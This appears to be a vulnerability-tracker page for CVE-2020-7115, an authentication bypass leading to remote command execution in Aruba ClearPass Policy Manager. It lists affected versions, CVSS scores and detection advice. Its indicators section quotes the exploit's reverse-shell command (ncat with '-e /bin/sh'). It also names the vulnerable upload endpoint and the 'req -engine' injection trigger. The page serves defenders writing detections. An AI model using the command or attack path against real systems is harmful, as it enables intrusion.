CVE-2020-7115

published 2020-06-03

CVE-2020-7115: The ClearPass Policy Manager web interface is affected by a vulnerability that leads to authentication bypass. Upon successful bypass an attacker could then…

Priority P1 85 critical 9.8 CVSS 3.1

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

The ClearPass Policy Manager web interface is affected by a vulnerability that leads to authentication bypass. Upon successful bypass an attacker could then execute an exploit that would allow to remote command execution in the underlying operating system. Resolution: Fixed in 6.7.13-HF, 6.8.5-HF, 6.8.6, 6.9.1 and higher.

Affected

4 ranges

Vendor	Product	Version range	Fixed in
arubanetworks	clearpass_policy_manager	—	—
arubanetworks	clearpass_policy_manager	6.7.0 – 6.7.13	—
arubanetworks	clearpass_policy_manager	>= 6.8.0 < 6.8.6	6.8.6
arubanetworks	clearpass_policy_manager	>= 6.9.0 < 6.9.1	6.9.1

Detection & IOCs extracted from sources · hover to see the quote

url https://<host>:<port>/tips/tipsSimulationUpload.action↗

path /tmp/clientCertFile*.txt↗

filename payload.so↗

command rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh↗

• → Monitor for HTTP POST requests to the endpoint /tips/tipsSimulationUpload.action, especially those containing a 'clientPassphrase' field with the value 'req -engine' followed by a path — this is the authentication bypass + engine injection trigger. ↗
• → Alert on file uploads of .so (shared object) files to the ClearPass web interface, particularly to the tipsSimulationUpload.action endpoint, as the exploit delivers a malicious OpenSSL engine as a .so file. ↗
• → Detect creation or presence of files matching the pattern /tmp/clientCertFile*.txt on ClearPass hosts, as the exploit drops the malicious engine payload to this path. ↗
• → Detect outbound ncat/netcat connections spawned from the ClearPass process with the '-e /bin/sh' flag, indicating a reverse shell established post-exploitation. ↗
• → The exploit targets unauthenticated access to the ClearPass web interface — alert on any unauthenticated POST to /tips/tipsSimulationUpload.action as this endpoint should require authentication. ↗

• · The exploit specifically requires the malicious OpenSSL engine (.so) to be compiled on RHEL/CentOS 7.x for compatibility with the target ClearPass environment; detections for the .so upload may need to account for this platform-specific artifact. ↗
• · Affected versions span multiple branches: ClearPass 6.7.x prior to 6.7.13-HF, 6.8.x prior to 6.8.5-HF, and 6.9.x prior to 6.9.1. Detection rules should not be scoped to only 6.7.0. ↗

CVSS provenance

nvd v3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 10.0 CRITICAL AV:N/AC:L/Au:N/C:C/I:C/A:C

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-306